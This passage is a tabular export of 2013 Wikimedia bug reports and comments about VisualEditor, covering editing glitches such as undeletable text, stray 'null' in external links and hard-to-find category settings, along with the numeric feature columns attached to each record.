1. go to article
2. blank article, removing everything
3. type ""1""
4. type ""2""
..and what you end up with is:

1
12

The text is, in addition, impossible to delete.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373546700,1374079614.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_description,resolved,True,c1,3,False,False,True,1,,0.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,5.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,1.0,7.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.0,3.123456790123457,0.5308641975308642,"The screenshot is the result of the following:

1. go to article
2. blank article, removing everything
3. type ""1""
4. type ""2""
..and what you end up with is:

1
12

The text is, in addition, impossible to delete.

--------------------------
**Version**: unspecified
**Severity**: normal"
232672,VisualEditor: blanking an article and starting from scratch causes malformations,"This is the same as bug 50947, I believe - merging.

*** This bug has been marked as a duplicate of bug 50947 ***",,,1374079614,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.935483870967742,0.6774193548387096,"This is the same as bug 50947, I believe - merging.

*** This bug has been marked as a duplicate of bug 50947 ***"
232665,VisualEditor: blanking an article and starting from scratch causes malformations,"I'm seeing something very slightly different to this - see https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563808463#Odd_bug_after_blanking_page

If it matters I'm using Firefox 22 on Xubuntu Linux. I don't have another browser to test it in (Konqueror is apparently blacklisted from VE).",,,1373548204,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,False,,,1,,0.0,2.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,2.0,0.0,7.0,0.0,9.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,23.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,14.0,14.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.909090909090909,0.8636363636363636,"I'm seeing something very slightly different to this - see URL

If it matters I'm using Firefox 22 on Xubuntu Linux. I don't have another browser to test it in (Konqueror is apparently blacklisted from VE)."
232656,VisualEditor: blanking an article and starting from scratch causes malformations,"I reported something similar in Bug 50947, though there I couldn't type at all. Roan asked for JS console output there, so I guess that it would be useful here, too.

This may also be browser-specific.",,,1373547099,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,False,,,1,,2.0,2.0,0.0,0.0,2.0,7.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,20.0,11.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,9.0,11.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.630434782608696,0.8260869565217391,"I reported something similar in Bug 50947, though there I couldn't type at all. Roan asked for JS console output there, so I guess that it would be useful here, too.

This may also be browser-specific."
232648,VisualEditor: blanking an article and starting from scratch causes malformations,"Screenshot

**Attached**: {F11062}",,,1373546784,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7272727272727273,"Screenshot

**Attached**: {F11062}"
53165,VisualEditor: easier parameter selection,"It would be nice if double-clicking a parameter name in the template inspector - in the 'insert' view - inserted it, to minimise scrolling and such.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1373538900,1377527402.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gonbe6svndpp6xg5nn7w,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.72,"It would be nice if double-clicking a parameter name in the template inspector - in the 'insert' view - inserted it, to minimise scrolling and such.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
232451,VisualEditor: easier parameter selection,"Per my previous comment I'm marking this as a duplicate of bug 51143. Feel free to reopen if this is still not working anywhere.

*** This bug has been marked as a duplicate of bug 51143 ***",,,1377527402,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gonbe6svndpp6xg5nn7w,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,9.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.4444444444444446,0.6888888888888889,"Per my previous comment I'm marking this as a duplicate of bug 51143. Feel free to reopen if this is still not working anywhere.

*** This bug has been marked as a duplicate of bug 51143 ***"
232443,VisualEditor: easier parameter selection,I think this can be marked as a duplicate of resolved bug 51143 they seem similar and double-clicking a parameter name does insert the parameter for me.,,,1374487773,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gonbe6svndpp6xg5nn7w,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,4.2,0.9333333333333333,I think this can be marked as a duplicate of resolved bug 51143 they seem similar and double-clicking a parameter name does insert the parameter for me.
232435,VisualEditor: easier parameter selection,"(I think I had reported something similar, but still :) )
Users @itwp also ask for drop-down menu or similar solution in order to choose between values (i.e. gender (M/F) and so on).",,,1373578518,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gonbe6svndpp6xg5nn7w,task_subcomment,,True,c1,3,False,,,1,,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,14.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,14.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.5681818181818183,0.8636363636363636,"(I think I had reported something similar, but still :) )
UsersSCREEN_NAME also ask for drop-down menu or similar solution in order to choose between values (i.e. gender (M/F) and so on)."
53153,VisualEditor: Category interface is hard to find,"Finding the categories under page setting is non intuitive. Adding another icon next to references would help usability.

This is discussed at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Icons_are_incomprehensible

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50239",Needs Triage,90.0,1373509140,1437698082.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-maorft5oyfrh3mtkgplv,task_description,duplicate,True,c1,3,False,False,False,1,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.962962962962963,0.6296296296296297,"Finding the categories under page setting is non intuitive. Adding another icon next to references would help usability.

This is discussed at URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
231669,VisualEditor: Category interface is hard to find,"We now split this out into the page settings menu, so closing as INVALID given the evolution of the interface.",,,1385386774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.136363636363637,0.9090909090909091,"We now split this out into the page settings menu, so closing as INVALID given the evolution of the interface."
231664,VisualEditor: Category interface is hard to find,"So hard to find that I assumed it wasn't implemented yet. Now I've seen it.

Why another icon on the top and not direct manipulation at the bottom? Show the categories at the bottom of the page and allow adding / editing / deleting from there. More or less the way HotCat got us used, if possible with a cleaner UI.",,,1374229995,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,4.0,0.0,14.0,13.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,10.0,1.0,13.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,13.0,3.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,3.0,4.0,0.0,0.0,3.657142857142857,0.8,"So hard to find that I assumed it wasn't implemented yet. Now I've seen it.

Why another icon on the top and not direct manipulation at the bottom? Show the categories at the bottom of the page and allow adding / editing / deleting from there. More or less the way HotCat got us used, if possible with a cleaner UI."
231659,VisualEditor: Category interface is hard to find,"See also:
https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Categories
and
https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Smaller_popup_dialog_for_Category_labeling_on_pages?",,,1374010319,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2222222222222223,0.6666666666666666,"See also:
URL
and
URL"
231655,VisualEditor: Category interface is hard to find,*** Bug 51452 has been marked as a duplicate of this bug. ***,,,1374010099,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51452 has been marked as a duplicate of this bug. ***
53134,VisualEditor: Intermittently unable to open page settings after deleting and then adding a stub template,"English Wikipedia user PamD reports that sometimes after replacing one stub template with another she is unable to open the page settings dialog unless she saves and then reedits the page.

I have done a small amount of testing and can confirm that the following steps will reproduce the bug, but only intermittently:

1. Open a page in VE that has one or more stub templates (e.g. any article in [[Category:England stubs]])
2. Delete the/one stub template by selecting it and then pressing the delete key
3. Launch the transclusion tool from the toolbar
4. Enter a different stub template (e.g. Wales-stub), select it from the list and then click ""Add template""
5. Add the template to the page by clicking the ""Apply changes"" button. In my testing I never entered any parameters or options, PamD has not specified whether she does or not.
6. Click the ""page settings"" button on the tool bar.

If the dialog opens, choose a different article and try again. In my testing it failed to open just under 50% of the time, PamD implies it happens less frequently to her but doesn't specify. 

A bit more detail is at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563709233#Can.27t_open_.22Page_settings.22_after_changing_stub_template

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373485620,1397677941.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-zt2vp3ws2fthuoczhtcs,task_description,declined,True,c1,3,False,False,False,1,,0.6666666666666666,0.0,0.0,0.0,1.0,3.6666666666666665,0.6666666666666666,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,5.666666666666667,8.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,16.666666666666668,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,7.333333333333333,0.6666666666666666,9.0,1.6666666666666667,3.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,5.0,0.0,2.6666666666666665,0.0,4.333333333333333,8.333333333333334,3.0,0.0,2.0,0.0,4.333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.6666666666666667,1.0,0.0,1.6666666666666667,3.7974573319400906,0.7338035527690699,"English Wikipedia user PamD reports that sometimes after replacing one stub template with another she is unable to open the page settings dialog unless she saves and then reedits the page.

I have done a small amount of testing and can confirm that the following steps will reproduce the bug, but only intermittently:

1. Open a page in VE that has one or more stub templates (e.g. any article in [[Category:England stubs]])
2. Delete the/one stub template by selecting it and then pressing the delete key
3. Launch the transclusion tool from the toolbar
4. Enter a different stub template (e.g. Wales-stub), select it from the list and then click ""Add template""
5. Add the template to the page by clicking the ""Apply changes"" button. In my testing I never entered any parameters or options, PamD has not specified whether she does or not.
6. Click the ""page settings"" button on the tool bar.

If the dialog opens, choose a different article and try again. In my testing it failed to open just under 50% of the time, PamD implies it happens less frequently to her but doesn't specify. 

A bit more detail is at URL

--------------------------
**Version**: unspecified
**Severity**: normal"
254897,VisualEditor: Intermittently unable to open page settings after deleting and then adding a stub template,I can't reproduce this now; provisionally marking as WORKSFORME.,,,1397677941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zt2vp3ws2fthuoczhtcs,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.666666666666667,1.0,I can't reproduce this now; provisionally marking as WORKSFORME.
254895,VisualEditor: Intermittently unable to open page settings after deleting and then adding a stub template,"I've just tried reproducing this again, and it is still happening and still only intermittently (2 of 4 articles I tried)",,,1377444558,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zt2vp3ws2fthuoczhtcs,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,4.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.04,0.84,"I've just tried reproducing this again, and it is still happening and still only intermittently (2 of 4 articles I tried)"
53132,VisualEditor: Auto-generated (bare) external links converted to external links to target null,"VisualEditor appears to be inserting ""null"" into external links occasionally.

Examples:

https://en.wikipedia.org/w/index.php?title=Carrie_(musical)&curid=7695755&diff=563576490&oldid=563235599

at [[Ithaca College]] in [[Ithaca, New York]] by the Macabre Theatre Ensemble,<ref>[null http:///www.icmacabre.blogspot.com]</ref>

----

https://en.wikipedia.org/w/index.php?title=Embarcadero_Delphi&curid=349208&diff=563574811&oldid=561383018

Delphi has large communities on [[Usenet]] and the [[World Wide Web|web]] (e.g. [null news://newsgroups.codegear.com)] which

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373484720,1385382685.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zvpdqkuywxev3x3oy6sk,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,22.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,12.0,3.967032967032967,0.5824175824175825,"VisualEditor appears to be inserting ""null"" into external links occasionally.

Examples:

URL

at [[Ithaca College]] in [[Ithaca, New York]] by the Macabre Theatre Ensemble,<ref>[null URL

----

URL

Delphi has large communities on [[Usenet]] and the [[World Wide Web|web]] (e.g. [null news://newsgroups.codegear.com)] which

--------------------------
**Version**: unspecified
**Severity**: normal"
254811,VisualEditor: Auto-generated (bare) external links converted to external links to target null,"This was an icky bug that we fixed some time ago; sorry for the bug, and for the slowness of triage.",,,1385382685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zvpdqkuywxev3x3oy6sk,task_subcomment,,True,c1,3,True,,,21,,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,4.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.875,"This was an icky bug that we fixed some time ago; sorry for the bug, and for the slowness of triage."
53130,VisualEditor: Removing template & Adding content breaks editor,"Copied from En Wikipedia:

***
When editing a template, when I click remove template, and then without closing the dialog, click add -> content and enter some text, the template is not removed and the editor hangs on saving and reviewing changes. --WS (talk) 11:47, 9 July 2013 (UTC)

***
Tested with the same result.

Maggie

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373481780,1385387104.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-fc6sg7pcqin3kmtv4x57,task_description,resolved,True,c1,3,False,False,False,1,,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,11.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,3.6145833333333335,0.6145833333333334,"Copied from En Wikipedia:

***
When editing a template, when I click remove template, and then without closing the dialog, click add -> content and enter some text, the template is not removed and the editor hangs on saving and reviewing changes. --WS (talk) 11:47, 9 July 2013 (UTC)

***
Tested with the same result.

Maggie

--------------------------
**Version**: unspecified
**Severity**: normal"
254719,VisualEditor: Removing template & Adding content breaks editor,"Bug 51340 is essentially the same issue, and both are now fixed I believe.",,,1385387104,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fc6sg7pcqin3kmtv4x57,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,"Bug 51340 is essentially the same issue, and both are now fixed I believe."
53125,"VisualEditor: Review changes should show the edit summary, if one has been provided.","Some users add [[links]] to edit summaries, which can be really helpful; unfortunately as markup it needs checking to ensure that it isn't borked. Accordingly, would it be possible to render the edit summary in the 'review changes' pane, if one has been provided?

--------------------------
**Version**: unspecified
